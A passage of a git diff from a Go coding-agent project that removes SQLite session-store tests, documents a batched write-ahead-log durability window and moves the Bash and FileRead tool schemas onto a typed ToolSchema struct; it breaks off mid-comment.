- store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "u1", Model: "old", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - _ = store.UpdateSession(context.Background(), "u1", map[string]interface{}{"model": "new"}) - got, _ := store.GetSession(context.Background(), "u1") - if got.Model != "new" { - t.Errorf("model=%q want new", got.Model) - } -} - -func TestSQLiteStore_Delete(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "d1", Model: "m", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - _ = store.DeleteSession(context.Background(), "d1") - _, err := store.GetSession(context.Background(), "d1") - if err == nil { - t.Error("want error after delete") - } -} - -func TestSQLiteStore_Fork(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "orig", Model: "m", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - _ = store.AppendMessage(context.Background(), "orig", &MessageRecord{SessionID: "orig", Role: "user", Content: "x", CreatedAt: time.Now()}) - err := store.ForkSession(context.Background(), "orig", "fork1") - if err != nil { - t.Fatal(err) - } - msgs, _ := store.GetMessages(context.Background(), "fork1") - if len(msgs) != 1 { - t.Errorf("fork msgs=%d want 1", len(msgs)) - } -} - -func TestSQLiteStore_Search(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "s1", Model: "m", Title: "golang review", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - _, err := store.SearchSessions(context.Background(), "golang") - if err != nil { - t.Fatal(err) - } -} - -func TestSQLiteStore_Stats(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "st1", Model: "m", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - for i := 0; i < 3; i++ { - _ = store.AppendMessage(context.Background(), "st1", &MessageRecord{SessionID: "st1", Role: "user", Content: "x", CreatedAt: time.Now()}) - } - stats, err := store.GetSessionStats(context.Background(), "st1") - if err != nil { - t.Fatal(err) - } - if stats == nil { - t.Fatal("nil stats") - } -} - -func TestSQLiteStore_Compact(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "c1", Model: "m", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - for i := 0; i < 10; i++ { - _ = store.AppendMessage(context.Background(), "c1", &MessageRecord{SessionID: "c1", Role: "user", Content: fmt.Sprintf("m%d", i), CreatedAt: time.Now()}) - } - if err := store.Compact(context.Background(), "c1", 3); err != nil { - t.Fatal(err) - } -} - -func TestSplitStatements(t *testing.T) { - t.Parallel() - tests := []struct { - name string - input string - want int - }{ - {"two", "SELECT 1; SELECT 2;", 2}, - {"one", "SELECT 1", 1}, - {"empty", "", 0}, - {"string semicolon", "SELECT 'a;b'; SELECT 2;", 2}, - {"trigger", "CREATE TRIGGER tr AFTER INSERT ON t BEGIN INSERT INTO log VALUES (1); END; SELECT 1;", 2}, - {"nested", "CREATE TRIGGER tr AFTER INSERT ON t BEGIN UPDATE x SET y=1; INSERT INTO z VALUES (2); END;", 1}, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - t.Parallel() - got := splitStatements(tt.input) - if len(got) != tt.want { - t.Errorf("splitStatements(%q) = %d (%v), want %d", tt.input, len(got), got, tt.want) - } - }) - } -} - -// TestSQLiteStore_ContextCancellation verifies the H12 fix: store methods -// honor the caller's context. A pre-cancelled context must abort the query -// rather than run against a throwaway context.Background(). -func TestSQLiteStore_ContextCancellation(t *testing.T) { - store, err := NewSQLiteStore(filepath.Join(t.TempDir(), "ctx.db")) - if err != nil { - t.Fatalf("NewSQLiteStore: %v", err) - } - defer store.Close() - - if err := store.CreateSession(context.Background(), &SessionRecord{ID: "ctx-1", Model: "m", ProjectDir: "/p"}); err != nil { - t.Fatalf("CreateSession: %v", err) - } - - ctx, cancel := context.WithCancel(context.Background()) - cancel() - - if _, err := store.GetSession(ctx, "ctx-1"); err == nil { - t.Error("expected GetSession to honor cancelled context (error), got nil") - } - if _, err := store.GetMessages(ctx, "ctx-1"); err == nil { - t.Error("expected GetMessages to honor cancelled context (error), got nil") - } - if err := store.AppendMessage(ctx, "ctx-1", &MessageRecord{Role: "user", Content: "x"}); err == nil { - t.Error("expected AppendMessage to honor cancelled context (error), got nil") - } -} diff --git a/internal/session/sqlite_store_test.go b/internal/session/sqlite_store_test.go deleted file mode 100644 index 73f7fb0f..00000000 --- a/internal/session/sqlite_store_test.go +++ /dev/null @@ -1,691 +0,0 @@ -package session - -import ( - "context" - "fmt" - "os" - "path/filepath" - "sync" - "testing" - "time" - - // Pure-Go SQLite driver (no CGO). - _ "modernc.org/sqlite" -) - -// testStore creates a temporary SQLiteStore for testing. Each test gets its -// own database file to avoid interference. -func testStore(t *testing.T) *SQLiteStore { - t.Helper() - dir := t.TempDir() - dbPath := filepath.Join(dir, "test.db") - store, err := NewSQLiteStore(dbPath) - if err != nil { - t.Fatalf("NewSQLiteStore: %v", err) - } - t.Cleanup(func() { store.Close() }) - return store -} - -func TestCreateAndGetSession(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "sess-001", - ProjectDir: "/home/user/project", - Provider: "anthropic", - Model: "claude-4-opus", - Status: "active", - Title: "Test Session", - } - - if err := store.CreateSession(context.Background(), sess); err != nil { - t.Fatalf("CreateSession: %v", err) - } - - got, err := store.GetSession(context.Background(), "sess-001") - if err != nil { - t.Fatalf("GetSession: %v", err) - } - - if got.ID != sess.ID { - t.Errorf("ID = %q, want %q", got.ID, sess.ID) - } - if got.ProjectDir != sess.ProjectDir { - t.Errorf("ProjectDir = %q, want %q", got.ProjectDir, sess.ProjectDir) - } - if got.Provider != sess.Provider { - t.Errorf("Provider = %q, want %q", got.Provider, sess.Provider) - } - if got.Model != sess.Model { - t.Errorf("Model = %q, want %q", got.Model, sess.Model) - } - if got.Status != "active" { - t.Errorf("Status = %q, want %q", got.Status, "active") - } - if got.Title != sess.Title { - t.Errorf("Title = %q, want %q", got.Title, sess.Title) - } - if got.CreatedAt.IsZero() { - t.Error("CreatedAt should not be zero") - } -} - -func TestGetSessionNotFound(t *testing.T) { - store := testStore(t) - - _, err := store.GetSession(context.Background(), "nonexistent") - if err == nil { - t.Fatal("expected error for nonexistent session") - } -} - -func TestListSessions(t *testing.T) { - store := testStore(t) - - // Create sessions in different projects. - for i := 0; i < 5; i++ { - sess := &SessionRecord{ - ID: fmt.Sprintf("sess-%03d", i), - ProjectDir: "/project/alpha", - Provider: "anthropic", - Model: "claude-4-opus", - } - if i >= 3 { - sess.ProjectDir = "/project/beta" - } - if err := store.CreateSession(context.Background(), sess); err != nil { - t.Fatalf("CreateSession %d: %v", i, err) - } - // Small delay so updated_at ordering is deterministic. - time.Sleep(5 * time.Millisecond) - } - - // List all sessions. - all, err := store.ListSessions(context.Background(), "", 0) - if err != nil { - t.Fatalf("ListSessions all: %v", err) - } - if len(all) != 5 { - t.Errorf("ListSessions all: got %d, want 5", len(all)) - } - - // List with limit. - limited, err := store.ListSessions(context.Background(), "", 2) - if err != nil { - t.Fatalf("ListSessions limited: %v", err) - } - if len(limited) != 2 { - t.Errorf("ListSessions limited: got %d, want 2", len(limited)) - } - - // List by project. - alpha, err := store.ListSessions(context.Background(), "/project/alpha", 0) - if err != nil { - t.Fatalf("ListSessions alpha: %v", err) - } - if len(alpha) != 3 { - t.Errorf("ListSessions alpha: got %d, want 3", len(alpha)) - } - - // Verify ordering: most recent first. - if len(all) >= 2 { - if all[0].UpdatedAt.Before(all[1].UpdatedAt) { - t.Error("sessions should be ordered by updated_at DESC") - } - } -} - -func TestAppendAndGetMessages(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "sess-msg-001", - ProjectDir: "/project", - Provider: "anthropic", - Model: "claude-4-opus", - } - if err := store.CreateSession(context.Background(), sess); err != nil { - t.Fatalf("CreateSession: %v", err) - } - - // Append messages. - messages := []*MessageRecord{ - {Role: "user", Content: "Hello, can you help me?", Tokens: 10}, - {Role: "assistant", Content: "Of course! What do you need?", Tokens: 15}, - {Role: "user", Content: "Write a function to sort a list", Tokens: 12}, - {Role: "assistant", Content: "Here is a sort function...", ToolName: "file_write", ToolUseID: "tool-1", Tokens: 50}, - } - - for _, msg := range messages { - if err := store.AppendMessage(context.Background(), "sess-msg-001", msg); err != nil { - t.Fatalf("AppendMessage: %v", err) - } - } - - // Retrieve messages. - got, err := store.GetMessages(context.Background(), "sess-msg-001") - if err != nil { - t.Fatalf("GetMessages: %v", err) - } - - if len(got) != 4 { - t.Fatalf("GetMessages: got %d messages, want 4", len(got)) - } - - // Verify order and content. - if got[0].Role != "user" || got[0].Content != "Hello, can you help me?" { - t.Errorf("message 0: got role=%q content=%q", got[0].Role, got[0].Content) - } - if got[3].ToolName != "file_write" { - t.Errorf("message 3 tool_name: got %q, want %q", got[3].ToolName, "file_write") - } - if got[3].ToolUseID != "tool-1" { - t.Errorf("message 3 tool_use_id: got %q, want %q", got[3].ToolUseID, "tool-1") - } - - // Verify session token total was updated. - updated, err := store.GetSession(context.Background(), "sess-msg-001") - if err != nil { - t.Fatalf("GetSession after messages: %v", err) - } - expectedTokens := 10 + 15 + 12 + 50 - if updated.TotalTokens != expectedTokens { - t.Errorf("TotalTokens = %d, want %d", updated.TotalTokens, expectedTokens) - } -} - -func TestForkSession(t *testing.T) { - store := testStore(t) - - // Create original session with messages. - sess := &SessionRecord{ - ID: "original", - ProjectDir: "/project", - Provider: "anthropic", - Model: "claude-4-opus", - Title: "Original Session", - } - if err := store.CreateSession(context.Background(), sess); err != nil { - t.Fatalf("CreateSession: %v", err) - } - - msgs := []*MessageRecord{ - {Role: "user", Content: "First message", Tokens: 5}, - {Role: "assistant", Content: "First response", Tokens: 10}, - {Role: "user", Content: "Second message", Tokens: 8}, - } - for _, msg := range msgs { - if err := store.AppendMessage(context.Background(), "original", msg); err != nil { - t.Fatalf("AppendMessage: %v", err) - } - } - - // Fork. - if err := store.ForkSession(context.Background(), "original", "forked"); err != nil { - t.Fatalf("ForkSession: %v", err) - } - - // Verify fork exists. - forked, err := store.GetSession(context.Background(), "forked") - if err != nil { - t.Fatalf("GetSession forked: %v", err) - } - if forked.ParentID != "original" { - t.Errorf("ParentID = %q, want %q", forked.ParentID, "original") - } - if forked.Title != "Original Session" { - t.Errorf("Title = %q, want %q", forked.Title, "Original Session") - } - - // Verify forked messages. - forkedMsgs, err := store.GetMessages(context.Background(), "forked") - if err != nil { - t.Fatalf("GetMessages forked: %v", err) - } - if len(forkedMsgs) != 3 { - t.Fatalf("forked messages: got %d, want 3", len(forkedMsgs)) - } - if forkedMsgs[0].Content != "First message" { - t.Errorf("forked msg 0: got %q", forkedMsgs[0].Content) - } - - // Verify original is unchanged. - origMsgs, err := store.GetMessages(context.Background(), "original") - if err != nil { - t.Fatalf("GetMessages original: %v", err) - } - if len(origMsgs) != 3 { - t.Errorf("original messages: got %d, want 3", len(origMsgs)) - } -} - -func TestSearchSessions(t *testing.T) { - store := testStore(t) - - // Create two sessions with different content. - sess1 := &SessionRecord{ - ID: "search-1", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - sess2 := &SessionRecord{ - ID: "search-2", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess1) - store.CreateSession(context.Background(), sess2) - - store.AppendMessage(context.Background(), "search-1", &MessageRecord{Role: "user", Content: "implement quicksort algorithm"}) - store.AppendMessage(context.Background(), "search-1", &MessageRecord{Role: "assistant", Content: "Here is a quicksort implementation in Go"}) - store.AppendMessage(context.Background(), "search-2", &MessageRecord{Role: "user", Content: "write a REST API handler"}) - store.AppendMessage(context.Background(), "search-2", &MessageRecord{Role: "assistant", Content: "Here is an HTTP handler for your API"}) - - // Search for quicksort. - results, err := store.SearchSessions(context.Background(), "quicksort") - if err != nil { - t.Fatalf("SearchSessions: %v", err) - } - if len(results) != 1 { - t.Fatalf("search quicksort: got %d results, want 1", len(results)) - } - if results[0].ID != "search-1" { - t.Errorf("search result ID = %q, want %q", results[0].ID, "search-1") - } - - // Search for API. - results, err = store.SearchSessions(context.Background(), "API") - if err != nil { - t.Fatalf("SearchSessions API: %v", err) - } - if len(results) != 1 { - t.Fatalf("search API: got %d results, want 1", len(results)) - } - if results[0].ID != "search-2" { - t.Errorf("search result ID = %q, want %q", results[0].ID, "search-2") - } -} - -func TestCompact(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "compact-1", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - // Add 10 messages. - for i := 0; i < 10; i++ { - msg := &MessageRecord{ - Role: "user", - Content: fmt.Sprintf("Message %d", i), - Tokens: 100, - } - if err := store.AppendMessage(context.Background(), "compact-1", msg); err != nil { - t.Fatalf("AppendMessage %d: %v", i, err) - } - } - - // Compact to keep last 3. - if err := store.Compact(context.Background(), "compact-1", 3); err != nil { - t.Fatalf("Compact: %v", err) - } - - // Verify only 3 messages remain. - msgs, err := store.GetMessages(context.Background(), "compact-1") - if err != nil { - t.Fatalf("GetMessages: %v", err) - } - if len(msgs) != 3 { - t.Fatalf("after compact: got %d messages, want 3", len(msgs)) - } - - // Verify we kept the LAST 3 (messages 7, 8, 9). - if msgs[0].Content != "Message 7" { - t.Errorf("first remaining message: got %q, want %q", msgs[0].Content, "Message 7") - } - if msgs[2].Content != "Message 9" { - t.Errorf("last remaining message: got %q, want %q", msgs[2].Content, "Message 9") - } - - // Verify token total was recalculated. - updated, err := store.GetSession(context.Background(), "compact-1") - if err != nil { - t.Fatalf("GetSession: %v", err) - } - if updated.TotalTokens != 300 { // 3 messages * 100 tokens - t.Errorf("TotalTokens after compact = %d, want 300", updated.TotalTokens) - } -} - -func TestCompactInvalidKeepLast(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "compact-invalid", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - if err := store.Compact(context.Background(), "compact-invalid", 0); err == nil { - t.Error("expected error for keepLast=0") - } - if err := store.Compact(context.Background(), "compact-invalid", -1); err == nil { - t.Error("expected error for keepLast=-1") - } -} - -func TestDeleteSession(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "delete-me", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - store.AppendMessage(context.Background(), "delete-me", &MessageRecord{Role: "user", Content: "hello"}) - - if err := store.DeleteSession(context.Background(), "delete-me"); err != nil { - t.Fatalf("DeleteSession: %v", err) - } - - _, err := store.GetSession(context.Background(), "delete-me") - if err == nil { - t.Error("expected error after delete") - } - - msgs, err := store.GetMessages(context.Background(), "delete-me") - if err != nil { - t.Fatalf("GetMessages after delete: %v", err) - } - if len(msgs) != 0 { - t.Errorf("expected 0 messages after delete, got %d", len(msgs)) - } -} - -func TestDeleteSessionNotFound(t *testing.T) { - store := testStore(t) - - err := store.DeleteSession(context.Background(), "nonexistent") - if err == nil { - t.Error("expected error for nonexistent session") - } -} - -func TestUpdateSession(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "update-me", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - Status: "active", - } - store.CreateSession(context.Background(), sess) - - err := store.UpdateSession(context.Background(), "update-me", map[string]interface{}{ - "status": "completed", - "title": "My Updated Session", - }) - if err != nil { - t.Fatalf("UpdateSession: %v", err) - } - - got, _ := store.GetSession(context.Background(), "update-me") - if got.Status != "completed" { - t.Errorf("Status = %q, want %q", got.Status, "completed") - } - if got.Title != "My Updated Session" { - t.Errorf("Title = %q, want %q", got.Title, "My Updated Session") - } -} - -func TestUpdateSessionDisallowedField(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "update-bad", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - err := store.UpdateSession(context.Background(), "update-bad", map[string]interface{}{ - "id": "hacked", - }) - if err == nil { - t.Error("expected error for disallowed field") - } -} - -func TestGetSessionStats(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "stats-1", - ProjectDir: "/project", - Provider: "anthropic", - Model: "claude-4-opus", - TotalCostUSD: 0.05, - } - store.CreateSession(context.Background(), sess) - - messages := []*MessageRecord{ - {Role: "user", Content: "hello", Tokens: 5}, - {Role: "assistant", Content: "hi there", Tokens: 10, ToolName: "greet"}, - {Role: "user", Content: "do something", Tokens: 8}, - {Role: "assistant", Content: "done", Tokens: 12, ToolName: "execute"}, - {Role: "assistant", Content: "also done", Tokens: 6}, - } - for _, msg := range messages { - store.AppendMessage(context.Background(), "stats-1", msg) - time.Sleep(2 * time.Millisecond) - } - - // Update cost manually. - store.UpdateSession(context.Background(), "stats-1", map[string]interface{}{"total_cost_usd": 0.15}) - - stats, err := store.GetSessionStats(context.Background(), "stats-1") - if err != nil { - t.Fatalf("GetSessionStats: %v", err) - } - - if stats.MessageCount != 5 { - t.Errorf("MessageCount = %d, want 5", stats.MessageCount) - } - if stats.ToolCalls != 2 { - t.Errorf("ToolCalls = %d, want 2", stats.ToolCalls) - } - if stats.TotalTokens != 41 { - t.Errorf("TotalTokens = %d, want 41", stats.TotalTokens) - } - if stats.TotalCostUSD != 0.15 { - t.Errorf("TotalCostUSD = %f, want 0.15", stats.TotalCostUSD) - } - if stats.Duration <= 0 { - t.Error("Duration should be positive") - } -} - -func TestSQLiteStore_ConcurrentAccess(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "concurrent", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - // Run concurrent message appends. - var wg sync.WaitGroup - errCh := make(chan error, 20) - - for i := 0; i < 20; i++ { - wg.Add(1) - go func(idx int) { - defer wg.Done() - msg := &MessageRecord{ - Role: "user", - Content: fmt.Sprintf("Concurrent message %d", idx), - Tokens: 10, - } - if err := store.AppendMessage(context.Background(), "concurrent", msg); err != nil { - errCh <- err - } - }(i) - } - - wg.Wait() - close(errCh) - - for err := range errCh { - t.Errorf("concurrent append error: %v", err) - } - - // All messages should be present. - msgs, err := store.GetMessages(context.Background(), "concurrent") - if err != nil { - t.Fatalf("GetMessages: %v", err) - } - if len(msgs) != 20 { - t.Errorf("got %d messages, want 20", len(msgs)) - } - - // Token total should be 200. - got, _ := store.GetSession(context.Background(), "concurrent") - if got.TotalTokens != 200 { - t.Errorf("TotalTokens = %d, want 200", got.TotalTokens) - } -} - -func TestConcurrentReadsAndWrites(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "rw-concurrent", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - // Pre-populate some messages. - for i := 0; i < 5; i++ { - store.AppendMessage(context.Background(), "rw-concurrent", &MessageRecord{ - Role: "user", Content: fmt.Sprintf("Seed %d", i), Tokens: 1, - }) - } - - var wg sync.WaitGroup - errCh := make(chan error, 30) - - // Writers. - for i := 0; i < 10; i++ { - wg.Add(1) - go func(idx int) { - defer wg.Done() - msg := &MessageRecord{ - Role: "assistant", Content: fmt.Sprintf("Reply %d", idx), Tokens: 2, - } - if err := store.AppendMessage(context.Background(), "rw-concurrent", msg); err != nil { - errCh <- err - } - }(i) - } - - // Readers. - for i := 0; i < 20; i++ { - wg.Add(1) - go func() { - defer wg.Done() - if _, err := store.GetMessages(context.Background(), "rw-concurrent"); err != nil { - errCh <- err - } - }() - } - - wg.Wait() - close(errCh) - - for err := range errCh { - t.Errorf("concurrent rw error: %v", err) - } -} - -func TestDBCreatedOnFirstUse(t *testing.T) { - dir := t.TempDir() - dbPath := filepath.Join(dir, "subdir", "nested", "sessions.db") - - // The parent directories don't exist yet; NewSQLiteStore should fail - // because sql.Open with a file path requires the parent dir. - // However, let's test with an existing parent. - dbPath2 := filepath.Join(dir, "sessions.db") - - // Verify file doesn't exist. - if _, err := os.Stat(dbPath2); err == nil { - t.Fatal("db file should not exist yet") - } - - store, err := NewSQLiteStore(dbPath2) - if err != nil { - t.Fatalf("NewSQLiteStore: %v", err) - } - defer store.Close() - - // File should now exist. - if _, err := os.Stat(dbPath2); err != nil { - t.Errorf("db file should exist after NewSQLiteStore: %v", err) - } - - // Verify we can use it. - sess := &SessionRecord{ - ID: "first-use", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - if err := store.CreateSession(context.Background(), sess); err != nil { - t.Fatalf("CreateSession: %v", err) - } - - // Close and reopen to verify persistence. - store.Close() - - store2, err := NewSQLiteStore(dbPath2) - if err != nil { - t.Fatalf("reopen NewSQLiteStore: %v", err) - } - defer store2.Close() - - got, err := store2.GetSession(context.Background(), "first-use") - if err != nil { - t.Fatalf("GetSession after reopen: %v", err) - } - if got.ID != "first-use" { - t.Errorf("ID = %q, want %q", got.ID, "first-use") - } - - _ = dbPath // suppress unused warning -} - -func TestMigrationIdempotent(t *testing.T) { - dir := t.TempDir() - dbPath := filepath.Join(dir, "migrate.db") - - // Open and close multiple times to verify migrations are idempotent. - for i := 0; i < 3; i++ { - store, err := NewSQLiteStore(dbPath) - if err != nil { - t.Fatalf("iteration %d: NewSQLiteStore: %v", i, err) - } - store.Close() - } -} - -func TestMessageIsErrorFlag(t *testing.T) { - store := testStore(t) - - sess := &SessionRecord{ - ID: "error-test", ProjectDir: "/project", Provider: "anthropic", Model: "claude-4-opus", - } - store.CreateSession(context.Background(), sess) - - store.AppendMessage(context.Background(), "error-test", &MessageRecord{ - Role: "assistant", Content: "success response", IsError: false, - }) - store.AppendMessage(context.Background(), "error-test", &MessageRecord{ - Role: "assistant", Content: "error: file not found", IsError: true, - }) - - msgs, _ := store.GetMessages(context.Background(), "error-test") - if msgs[0].IsError { - t.Error("message 0 should not be error") - } - if !msgs[1].IsError { - t.Error("message 1 should be error") - } -} diff --git a/internal/session/wal_batch.go b/internal/session/wal_batch.go index 649f6817..b99634b9 100644 --- a/internal/session/wal_batch.go +++ b/internal/session/wal_batch.go @@ -11,6 +11,13 @@ import ( // timer (100ms) or when the buffer reaches 10 entries. This reduces the // number of f.Sync() calls from one-per-append to one-per-flush. // +// DURABILITY WINDOW: at most batchMaxSize messages or batchFlushInterval of +// not-yet-flushed appends can be lost on a hard crash (kill -9 / OOM) between +// an Append and the next flush. Call Flush() before graceful shutdown to drain +// the buffer. The unbuffered WAL type documents "the WAL has everything"; this +// batched variant explicitly trades that for fewer fsyncs — see the recovery +// path (RecoverFromWAL) for the lossy-by-design crash story. +// // LOCK ORDERING: b.mu must always be acquired before b.wal.mu. // The timer callback acquires b.mu then calls flushLocked() which acquires b.wal.mu. // Never acquire b.mu while holding b.wal.mu. diff --git a/internal/tool/bash.go b/internal/tool/bash.go index 15938bfa..8bbefb34 100644 --- a/internal/tool/bash.go +++ b/internal/tool/bash.go @@ -184,21 +184,28 @@ func (BashTool) Name() string { return "Bash" } func (BashTool) RiskLevel() string { return "high" } func (BashTool) Aliases() []string { return []string{"bash"} } func (BashTool) Description() string { return "Run a shell command." } -func (BashTool) Parameters() map[string]interface{} { - return map[string]interface{}{ - "type": "object", - "properties": map[string]interface{}{ - "command": map[string]interface{}{"type": "string", "description": "The shell command to run"}, - "timeout": map[string]interface{}{"type": "integer", "description": "Timeout in seconds (default 120)"}, - "run_in_background": map[string]interface{}{ - "type": "boolean", - "description": "Run command in the background and return a task_id for TaskOutput/TaskStop", - }, + +// Schema returns the typed input schema for Bash. Both Parameters() and the +// validator read from this single source of truth, so they cannot diverge. +func (BashTool) Schema() ToolSchema { + return ToolSchema{ + Type: "object", + Properties: map[string]SchemaProperty{ + "command": {Type: "string", Description: "The shell command to run"}, + "timeout": {Type: "integer", Description: "Timeout in seconds (default 120)", Default: 120}, + "run_in_background": {Type: "boolean", Description: "Run command in the background and return a task_id for TaskOutput/TaskStop"}, }, - "required": []string{"command"}, + Required: []string{"command"}, } } +func (BashTool) Parameters() map[string]interface{} { + return bashSchema.ToJSONSchema() +} + +// bashSchema is the single source of truth for Bash's input schema. +var bashSchema = BashTool{}.Schema() + // SegmentCommand splits a command string on &&, ||, ;, and | (respecting quotes // and heredocs) into individual segments for independent analysis. func SegmentCommand(cmd string) []string { diff --git a/internal/tool/file_read.go b/internal/tool/file_read.go index 81d9a07f..c213601f 100644 --- a/internal/tool/file_read.go +++ b/internal/tool/file_read.go @@ -22,21 +22,30 @@ func (FileReadTool) Description() string { return "Read a file's contents, optionally a specific line range." } -func (FileReadTool) Parameters() map[string]interface{} { - return map[string]interface{}{ - "type": "object", - "properties": map[string]interface{}{ - "path": map[string]interface{}{"type": "string", "description": "File path to read"}, - "file_path": map[string]interface{}{"type": "string", "description": "Archive-compatible alias for path"}, - "start_line": map[string]interface{}{"type": "integer", "description": "Start line (1-based, optional)"}, - "end_line": map[string]interface{}{"type": "integer", "description": "End line (1-based, inclusive, optional)"}, - "offset": map[string]interface{}{"type": "integer", "description": "Archive-compatible 1-based start line alias"}, - "limit": map[string]interface{}{"type": "integer", "description": "Archive-compatible number of lines to read"}, +// Schema returns the typed input schema for FileRead. Parameters() derives +// from it so the wire format and validator never diverge. +func (FileReadTool) Schema() ToolSchema { + return ToolSchema{ + Type: "object", + Properties: map[string]SchemaProperty{ + "path": {Type: "string", Description: "File path to read"}, + "file_path": {Type: "string", Description: "Archive-compatible alias for path"}, + "start_line": {Type: "integer", Description: "Start line (1-based, optional)"}, + "end_line": {Type: "integer", Description: "End line (1-based, inclusive, optional)"}, + "offset": {Type: "integer", Description: "Archive-compatible 1-based start line alias"}, + "limit": {Type: "integer", Description: "Archive-compatible number of lines to read"}, }, - "required": []string{"path"}, + Required: []string{"path"}, } } +func (FileReadTool) Parameters() map[string]interface{} { + return fileReadSchema.ToJSONSchema() +} + +// fileReadSchema is the single source of truth for FileRead's input schema. +var fileReadSchema = FileReadTool{}.Schema() + func (FileReadTool) Execute(ctx context.Context, input json.RawMessage) (string, error) { var p struct { Path string `json:"path"` diff --git a/internal/tool/git.go b/internal/tool/git.go index fa16cfe4..383a01f7 100644 --- a/internal/tool/git.go +++ b/internal/tool/git.go @@ -3,6 +3,7 @@ package tool import ( "context" "encoding/json" + "errors" "fmt" "os/exec" "strings" @@ -85,7 +86,8 @@ func (t GitTool) Execute(ctx context.Context, input json.RawMessage) (string, er out, err := cmd.CombinedOutput() output := string(out) if err != nil { - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { return fmt.Sprintf("exit code: %d\n%s", exitErr.ExitCode(), output), nil } return "", fmt.Errorf("git exec: %w", err) diff --git a/internal/tool/project_verify.go b/internal/tool/project_verify.go index 241e69d1..57ebd147 100644 --- a/internal/tool/project_verify.go +++ b/internal/tool/project_verify.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "os" "os/exec" @@ -293,7 +294,8 @@ func runVerificationCommand(parent context.Context, root string, spec verificati if err != nil { result.Status = "failed" result.ExitCode = 1 - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { result.ExitCode = exitErr.ExitCode() } else { result.Error = err.Error() diff --git a/internal/tool/refactor.go b/internal/tool/refactor.go index c1c7c143..e42e42ce 100644 --- a/internal/tool/refactor.go +++ b/internal/tool/refactor.go @@ -10,8 +10,15 @@ import ( "sync" ) -// Refactorer applies common refactoring patterns using pure AST-based transformations -// without requiring LLM calls. +// Refactorer applies common refactoring patterns without requiring LLM calls. +// +// NOTE (M9): the current implementation is regex-based, not AST-based. That makes +// it fast and dependency-free but imprecise: RenameSymbol can rename a symbol +// inside a string literal, a comment, or a different scope that happens to share +// the name, and ExtractFunction's parameter detection is heuristic. A correct +// implementation needs go/ast + go/types (scope-aware resolution). Keep the +// caller-facing contract small and verify results with a build/test before trusting +// output on code where those edge cases matter. type Refactorer struct { mu sync.Mutex } diff --git a/internal/tool/spec_version.go b/internal/tool/spec_version.go index 3515eba7..fb8a9530 100644 --- a/internal/tool/spec_version.go +++ b/internal/tool/spec_version.go @@ -114,12 +114,12 @@ func (SpecVersionTool) Execute(ctx context.Context, input json.RawMessage) (stri } if output, err := runGitCmd(cwd, "add", specRelPath); err != nil { - return "", fmt.Errorf("git add failed: %v\n%s", err, output) + return "", fmt.Errorf("git add failed: %w\n%s", err, output) } fullMessage := fmt.Sprintf("%s\n\nSpec: %s\nTimestamp: %s", p.Message, slug, time.Now().Format(time.RFC3339)) if output, err := runGitCmd(cwd, "commit", "-m", fullMessage); err != nil { - return "", fmt.Errorf("git commit failed: %v\n%s", err, output) + return "", fmt.Errorf("git commit failed: %w\n%s", err, output) } b.WriteString("**Committed successfully** OK\n") diff --git a/internal/tool/tool.go b/internal/tool/tool.go index 86f67050..f9a1c1bc 100644 --- a/internal/tool/tool.go +++ b/internal/tool/tool.go @@ -33,6 +33,77 @@ type AliasedTool interface { Aliases() []string } +// ToolSchema is a typed, compile-time-safe description of a tool's input +// schema. It replaces the error-prone hand-written map[string]interface{} +// JSON-schema literals that every tool used to embed in Parameters(). A +// ToolSchema converts to the wire format via ToJSONSchema(), so the external +// EyrieTool.Parameters contract (map[string]interface{}) is unchanged. +// +// Tools that don't implement SchemaProvider keep working exactly as before — +// Parameters() is still the source of truth and validation stays permissive. +type ToolSchema struct { + // Type is the JSON-schema type, almost always "object" for tool inputs. + Type string + // Properties maps each input field name to its schema. + Properties map[string]SchemaProperty + // Required lists required field names. + Required []string +} + +// SchemaProperty describes a single tool input field. +type SchemaProperty struct { + Type string `json:"type"` + Description string `json:"description,omitempty"` + Default interface{} `json:"default,omitempty"` + // Enum, if 